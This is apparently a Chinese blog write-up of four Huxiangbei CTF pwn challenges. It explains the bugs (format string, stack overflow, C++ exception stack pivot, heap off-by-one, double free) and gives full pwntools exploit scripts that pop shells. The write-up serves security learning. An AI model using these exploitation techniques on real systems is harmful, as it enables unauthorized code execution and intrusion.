湖湘杯pwn题解


上周末打了打湖湘杯,还是太菜了

0x1.pwn1-pwn_printf

检查保护

IDA分析

打开的一瞬间确实有些裂开,不过仔细分析后其实不算难

程序的初始化完成之后会循环读入16个数值,然后通过sprtinf函数往0x6000000写入各个变量的值

  puts("What the f**k printf?\n");
  puts("Try to input something");
  puts("You will find this game very interesting");
  for ( i = 0; i <= 15; ++i )
    __isoc99_scanf("%d", (char *)dest + 8 * i + 0xE000);
  v16 = 0;
  while ( (char *)dest + 0xFFFE != format )
  {
    sprintf(
      (char *)0x6000000,
      format,
      v13,
      0LL,
      &format,
      0x6000000LL,
      *v12,
      v12,
      &v12,
      v11,
      &v11,
      v10,
      &v10,
      v9,
      &v9,
      v8,
      &v8,
      v7,
      &v7,
      v6,
      &v6,
      v5,
      &v5,
      v4,
      &v4);
    ++v16;
  }
  if ( *v12 <= 0x20u )
    sub_4007C6(*v12);
  else
    puts("Please try again and you will get it");
  puts("Sorry you are out");

注意到后面会判断v12的值是否小于等于0x20,如果成立则进入sub_4007C6这个函数,看看sub_4007C6函数

ssize_t __fastcall sub_4007C6(unsigned __int16 a1)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h] BYREF

  return read(0, &savedregs, 2 * a1);
}

相当于一个后门函数,给了我们一个能够溢出的函数,而且输入直接从rbp开始,read函数能够读入的字节数为v12的值。

我们看看v12从何而来

dest = mmap((void *)0x4000000, 0x4000000uLL, 3, 34, -1, 0LL);
....................
v12 = (unsigned __int16 *)dest;
for ( i = 0; i <= 15; ++i )
  __isoc99_scanf("%d", (char *)dest + 8 * i + 0xE000);

程序在0x4000000处映射了一块内存,dest的值即为0x4000000,然后将0x4000000赋值给v12,循环读入的地址为(char *)dest + 8 * i + 0xE000,也就是0x4000000+i*8+0xE000,看起来没有地方能够修改v12的地方,但注意到

v12是第9个参数

并且经过调试,在sprintf函数传参时,其参数也是我们scanf输入的地址

因此可以确定v12是scanf输入的第9个数字,我们输入第九个数字为32,也就是进入后门函数的所能允许的最大数值

进入栈溢出之后就是常规的ret2libc了,通过puts泄露出libc地址,然后返回到后门函数,调用system(‘/bin/sh’)即可

exp如下

from pwn import *
from LibcSearcher import *
context.log_level='debug'
io=process('./pwn_printf')
elf=ELF('./pwn_printf')
libc=ELF('./libc-2.23_x64.so')

io.recvuntil('You will find this game very interesting\n')
for i in range(8):
    io.sendline('1')
    sleep(0.1)
io.sendline('32')
sleep(0.1)
for i in range(6):
    io.sendline('1')
    sleep(0.1)
payload='A'*9+p64(0x0000000000401213)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(0x0000000000401213)+p64(0x100)+p64(0x4007c6)
#gdb.attach(io)
io.send(payload)
__libc_start_main_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=__libc_start_main_addr-libc.symbols['__libc_start_main']-0x10
system_addr=libc_base+0x453a0
bin_sh_addr=libc_base+0x18ce17
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

payload='A'*8+p64(0x0000000000401213)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
io.send(payload)
io.interactive()

0x2.pwn2-blend_pwn

检查保护

保护全开,IDA分析

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_DC0();
  sub_10E3();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = sub_EA2(a1, a2);
      if ( v3 != 3 )
        break;
      dele();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 5 )
      {
        printf("Quit successfully");
        exit(0);
      }
      if ( v3 < 5 )
      {
        show_note();
      }
      else if ( v3 == 666 )
      {
        a1 = (__int64)"It must be a gift";
        puts("It must be a gift");
        gift();
      }
      else
      {
LABEL_17:
        a1 = (__int64)"Your input seems to be wrong!";
        printf("Your input seems to be wrong!");
      }
    }
    else if ( v3 == 1 )
    {
      a1 = (__int64)"Current user:";
      printf("Current user:");
      show_name();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      add();
    }
  }
}

除了增删查改四个功能以外还有一个gift功能

可以溢出到rbp,然后如果输入的数值长度超过0x10就会有一个C++的异常处理机制,抛出一个错误

再看到别的功能

1.show_name
int show_name()
{
  return printf(byte_202080);
}

存在格式化字符串漏洞

0x202080处的值来源于程序开头的一个函数

__int64 sub_10E3()
{
  printf("Please enter a name: ");
  return read_str(byte_202080, 4);
}

read_str存在off-by-one,可以多输入一个字符

2.new_note
__int64 add()
{
  int v0; // ebx

  if ( dword_2020A0 < 0 || dword_2020A0 > 1 )
  {
    puts("Insufficient space");
    exit(0);
  }
  v0 = dword_2020A0;
  *((_QWORD *)&unk_202090 + v0) = malloc(0x60uLL);
  puts("input note:");
  read_str(*((_BYTE **)&unk_202090 + dword_2020A0), 0x60);
  puts("down!");
  return (unsigned int)++dword_2020A0;
}

只能申请两次,然后分配一个0x60的chunk

3.del_note
__int64 __fastcall dele(__int64 a1, __int64 a2)
{
  int v3; // [rsp+Ch] [rbp-4h]

  printf("index>");
  v3 = sub_EA2("index>", a2);
  if ( v3 < 0 || v3 > 1 )
  {
    puts("Insufficient space");
    exit(0);
  }
  if ( *((_QWORD *)&unk_202090 + v3) )
  {
    free(*((void **)&unk_202090 + v3));
    puts("down!");
  }
  else
  {
    puts("fail!");
  }
  return 0LL;
}

存在uaf,但实际上无法利用,因为总共只能分配两个chunk,只能用来泄露堆地址

4.show_note
int show_note()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 1; ++i )
  {
    v0 = *((_QWORD *)&unk_202090 + i);
    if ( v0 )
      LODWORD(v0) = printf("index %d:%s\n", (unsigned int)(i + 1), *((const char **)&unk_202090 + i));
  }
  return v0;
}

打印所有chunk的内容

综合下来,程序总共有两个漏洞,gift功能中的一个栈溢出(可以溢出到rbp),还有del功能中的一个uaf

我在ctf-all-in-one这本书里看到过一题,利用的就是c++的异常处理机制,所以看到这道题就猜测可能和c++的异常处理机制有关,可惜不知道从何利用,太菜了,还是因为ex师傅和r4bbit师傅提点才明白了怎么做。

实际上这题可以不用堆的相关操作,因为涉及到C++的异常处理机制,有些复杂,这里长话短说,实际上是因为我也没太懂,在异常被抛出捕获且正确处理后,为了所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收,会触发栈回退(Stack Unwind)机制。栈回退机制会重建函数调用现场,rbp自然属于函数调用的一部分,在gift功能中我们能够溢出到rbp,于是我们可以伪造rbp,当异常处理完毕后就会恢复函数现场,调用leave ret,实现栈迁移,栈就会恢复到我们伪造的rbp处。

exp如下

from pwn import *
context.log_level='debug'
io = remote('47.111.104.99', 52504)
#io=process('./blend_pwn')
elf=ELF('./blend_pwn')

def show_name():
    io.recvuntil('Enter your choice >')
    io.sendline('1')

def add(content):
    io.recvuntil('Enter your choice >')
    io.sendline('2')
    io.recvuntil('input note:\n')
    io.sendline(content)

def dele(index):
    io.recvuntil('Enter your choice >')
    io.sendline('3')
    io.recvuntil('index>')
    io.sendline(str(index))

def show_note():
    io.recvuntil('Enter your choice >')
    io.sendline('4')

def gift(content):
    io.recvuntil('Enter your choice >')
    io.sendline('666')
    io.recvuntil('Please input what you want:')
    io.sendline(content)

io.recvuntil('Please enter a name: ')
io.sendline('%lx')

show_name()
io.recvuntil('Current user:')
stack=int(io.recv(12),16)
log.success('stack => {}'.format(hex(stack)))
payload='A'*0x10+'B'*0x10+p64(stack+0x26c0)+'c%7$lx'
gift(payload)

show_name()
io.recvuntil('Current user:')
pro_base=int(io.recv(12),16)-0x1266
log.success('pro_base => {}'.format(hex(pro_base)))
payload='A'*0x10+'B'*0x10+p64(stack+0x26d8)+'c%2$lx'

gift(payload)

show_name()
io.recvuntil('Current user:')
libc_base = int(io.recvline(), 16)-0x3c6780
log.success('libc_base => {}'.format(hex(libc_base)))
onegadget=libc_base+0x4527a
payload=p64(onegadget)+'A'*8+'B'*0x10+p64(stack + 0x26d8 - 0x110)+'csh'
#gdb.attach(io)
gift(payload)

io.interactive()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

整体就是通过printf泄露libc地址,然后将rbp伪造成main函数的rbp就能够重新执行程序。

0x3.only_add

保护全开

一共俩功能,add功能如下

int add()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Size:");
  v1 = sub_A01();
  if ( v1 < 0 || v1 > 0x500 )
    sub_9A5();
  buf = realloc(buf, v1);
  if ( buf && v1 )
  {
    puts("Data:");
    read(0, buf, v1 + 1);
  }
  return puts("Done!");
}

通过realloc申请最大0x500的chunk,并且存在off-by-one,并且当前只能存在一个chunk

第二个功能如下

__int64 sub_9BF()
{
  __int64 result; // rax

  result = (unsigned int)dword_202010;
  if ( dword_202010 == 1 )
  {
    puts("Bye");
    buf = 0LL;
    close(1);
    result = (unsigned int)--dword_202010;
  }
  return result;
}

清除buf,即清除堆地址,然后关闭标准输出。

realloc函数根据不同的情况有不同的功能

realloc(ptr,size)
1.ptr == 0 : malloc(size)
2.ptr != 0 && size == 0 : free(ptr)
3.ptr != 0 && size == old_size : edit(ptr)
3.ptr != 0 && size < old_size : edit(ptr) and free(remainder)
4.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr

这题改堆风水改到头疼,先贴上exp吧,1/16的几率

from pwn import *
from time import sleep
context.log_level = 'debug'
elf = ELF('./pwn3')
libc = ELF('./libc.so.6')


def add(size, content):
    io.recvuntil('choice:')
    io.sendline('1')
    io.recvuntil('Size:\n')
    io.sendline(str(size))
    io.recvuntil('Data:')
    io.send(content)

def add_no(size,content):
    io.sendline('1')
    sleep(0.1)
    io.sendline(str(size))
    sleep(0.1)
    io.send(content)
    sleep(0.1)

def free():
    io.recvuntil('choice:')
    io.sendline('1')
    io.recvuntil('Size:\n')
    io.sendline(str(0))

def free_no():
    io.sendline('1')
    sleep(0.1)
    io.sendline(str(0))
    sleep(0.1)

def init():
    io.recvuntil('choice:')
    io.sendline('2')

def pwn():
    add(0x18, 'a')
    free()
    add(0x488, 'b')
    add(0x418, 'a')
    free()
    add(0x4a8, 'a')
    add(0x438, 'a')
    free()
    add(0x418, 'a')
    free()
    add(0x18, 'a'*0x18+p8(0x91))
    free()
    add(0x488, 'a')
    free()
    add(0x58, 'a')
    add(0x418, 'a')
    free()
    add(0x68, 'a')
    add(0x88, 'a')
    free()
    add(0x3e0, 'a')
    free()
    add(0x98, 'a'*0x28+p64(0x71)+p16(0x5760))
    free()
    add(0x68, p16(0x5760))

    add(0x410, 'a')
    free()
    add(0x68, p64(0xfbad1887)+p64(0)*3+p8(0))
    libc_base = u64(io.recvuntil('\x7f', timeout=0.1)
                    [-6:].ljust(8, '\x00'))-0x3ed8b0
    if libc_base == -0x3ed8b0:
        io.close()
    else:
        system_addr = libc_base+libc.symbols['system']
        free_hook = libc_base+libc.symbols['__free_hook']
        log.success('libc_base => {}'.format(hex(libc_base)))
        log.success('system_addr => {}'.format(hex(system_addr)))
        log.success('free_hook => {}'.format(hex(free_hook)))

        init()
        add_no(0x78,p64(0)*8)
        free_no()
        add_no(0xd8,'a')
        free_no()
        add_no(0xb8,p8(0x1)*0xb8+p8(0xf1))
        free_no()
        add_no(0x218,p64(0)*31*2+p64(0)+p64(0x90)+p64(free_hook-8))
        free_no()
        add_no(0x88,p64(free_hook-8))
        add_no(0x58,'a')
        free_no()
        add_no(0x88,'/bin/sh\x00'+p64(system_addr))
        free_no()
        io.sendline('exec 1>&2')
        #gdb.attach(io)

        io.interactive()


if __name__ == "__main__":
    global io
    while True:
        try:
            io = process('./pwn3')
            pwn()
        except:
            io.close()

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

就不一步步调了。。。再调就裂开了,讲讲整体思路吧

首先没有libc地址,肯定得泄露libc地址的,也没有show,自然得通过改stdout结构体来泄露libc地址,这样我们就需要将main_arena地址落到某个tcachefd位上,然后修改其后四位以此来申请到stdout结构体。如何获得main_arena地址呢,这题也没有free函数,这就需要利用到realloc的free功能了,我们先申请一个大chunk,比如0x448大小的,然后继续申请0x418大小的,由于realloc的指针没变,所以直接在原0x448大小的chunk上切割下来一块0x420大小的chunk,剩下的0x30chunk就会被free掉丢入tcache中,接着我们再申请0字节大小的chunk,也就是realloc(ptr,0),这就相当于free功能,这样这块0x420大小的chunk就会被丢入unsorted bin中,main_arena地址到手。

有了main_arena地址地址,我们还需要构造堆重叠,这样我们才可以修改tcache的fd,如何构造出堆重叠?自然就需要off-by-one功能了,我们通过unsorted bin上方的一个chunk来改大unsorted bin的size,把它物理高地址的一个tcache给包进来,然后把这个修改之后的大chunk给申请过来就可以了,这样我们就获得了一个一个还在free状态的tcache,然后通过一次次申请chunk,把main_arena放到tcache的fd中,再修改其fd的后四位为_IO_2_1_STDOUT_结构体地址的后四位。

修改fd成功之后会变成如下状态

这个时候我们再add一次0x68chunk0x70这条链的tcache就只剩下stdout了,但我们想要申请一个新的chunk,就需要先free掉上一个chunk,如果我们直接free掉我们刚刚申请的那个0x70的chunk,0x70的tcache就又会变成两个,这样只能眼巴巴地看着stdout。

但如果我们将我们刚刚申请的chunk减小,也就是利用realloc的切割功能,把它从0x70切割成0x50或者别的值,free之后这个chunk就会链到别的大小的tcache中,这时我们再申请chunk就能申请到stdout了。

修改完stdout之后,我们再申请新chunk之前需要使用功能二,清空buf,否则dele stdout会报错。

之后就是重复上面的步骤,将chunk分配到free_hook-8,将free_hook-8修改为/bin/sh\x00,将free_hook修改为system,然后free即可。

再就是由于功能二关闭了标准输出,所以在拿到shell之后我们需要将标准输出重定位到标准输入

讲的可能有些不清楚,调一遍应该能清楚很多了。

0x4.easyheap

保护全开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
  __int64 savedregs; // [rsp+20h] [rbp+0h] BYREF

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  welcome();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    atoi(buf);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        create();
        break;
      case 2u:
        show();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        del();
        break;
      case 5u:
        exit(0);
      default:
        puts("Invalid choice");
        break;
    }
  }
}

增删查改都有

问题出在show和dele功能

signed __int64 show()
{
  signed __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index?");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( note[v1] )
  {
    puts((const char *)note[v1]);
    puts("Done");
    result = 0LL;
  }
  else
  {
    puts("Invalid idx");
    result = 1LL;
  }
  return result;
}

show功能存在越界读,可以泄露libc地址和程序加载基地址

signed __int64 del()
{
  signed __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index?");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( note[v1] )
  {
    free((void *)note[v1]);
    note[v1] = 0LL;
    result = 0LL;
  }
  else
  {
    puts("Invalid idx");
    result = 1LL;
  }
  return result;
}

dele功能存在越界删除

int edit()
{
  int result; // eax
  unsigned int v1; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("index?");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 <= 0x20 && note[v1] )
  {
    puts("Size:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( v2 <= 0xF8 )
    {
      puts("Content:");
      safe_read((char *)note[v1], v2);
      result = puts("Done");
    }
    else
    {
      puts("Invalid size");
      result = 1;
    }
  }
  else
  {
    puts("Invalid idx");
    result = 0;
  }
  return result;
}

edit功能中存在一个off-by-null,但实际上没有用,只是迷惑作用

整体思路如下:我们先通过越界读泄露出libc基地址和程序加载基地址,然后再泄露堆地址,获取一个chunk的地址。然后先free掉一个chunk,然后将这个被free的chunk的地址写到另一个chunk中(其实也不用写,free成链之后chunk中自然就留下了另一个chunk的地址),如下

然后,由于我们泄露出了程序加载基地址,我们就能够算出堆地址存储的真实地址,然后用(0x55a36bccf360-堆地址存储的真实地址)/8得到其相应的index,再通过dele功能进行删除,就能够造成double free,exp如下

from pwn import *
context.log_level='debug'
io=process('./babyheap')
elf=ELF('./babyheap')
libc=ELF('./libc.so.6')

def add():
    io.recvuntil('>>')
    io.sendline('1')

def show(index):
    io.recvuntil('>>')
    io.sendline('2')
    io.recvuntil('index?\n')
    io.sendline(str(index))

def edit(index,size,content):
    io.recvuntil('>>')
    io.sendline('3')
    io.recvuntil('index?\n')
    io.sendline(str(index))
    io.recvuntil('Size:\n')
    io.sendline(str(size))
    io.recvuntil('Content:\n')
    io.send(content)

def dele(index):
    io.recvuntil('>>')
    io.sendline('4')
    io.recvuntil('index?\n')
    io.sendline(str(index))

add()
show(-14)

libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ec760
log.success('libc_base => {}'.format(hex(libc_base)))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
show(-7)
pro_base=u64(io.recv(6).ljust(8,'\x00'))-0x202008
heap_store=pro_base+0x202040
log.success('pro_base => {}'.format(hex(pro_base)))
log.success('heap_store => {}'.format(hex(heap_store)))
add()
dele(0)
dele(1)
add()
show(0)
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x260
log.success('heap_base => {}'.format(hex(heap_base)))
edit(0,0x10,p64(heap_base+0x260))
offset=(heap_base+0x260+0x100-heap_store)/8
dele(offset)
add()
edit(1,0x8,p64(free_hook))
add()
edit(2,0x10,'/bin/sh\x00')
add()
edit(3,0x8,p64(system))
dele(2)
#gdb.attach(io)
io.interactive()

0x5.总结

还是太菜了,要多的东西还有很多很多啊

参考文章


文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
七星计划(1) 七星计划(1)
一直对格式化字符串的利用不是很上手,所以决定做个总结,复现一些骚题目还有一些常规题,bss段的格式化字符串和正常的栈上的格式化字符串利用,希望通过这次总结能加深对格式化字符串利用的理解。 0x1.ha1cyon-ctf level2除了ca
2020-11-03
下一篇 
湖湘杯pwn题解 湖湘杯pwn题解
上周末打了打湖湘杯,还是太菜了 0x1.pwn1-pwn_printf检查保护 IDA分析 打开的一瞬间确实有些裂开,不过仔细分析后其实不算难 程序的初始化完成之后会循环读入16个数值,然后通过sprtinf函数往0x6000000写入
2020-11-02
  目录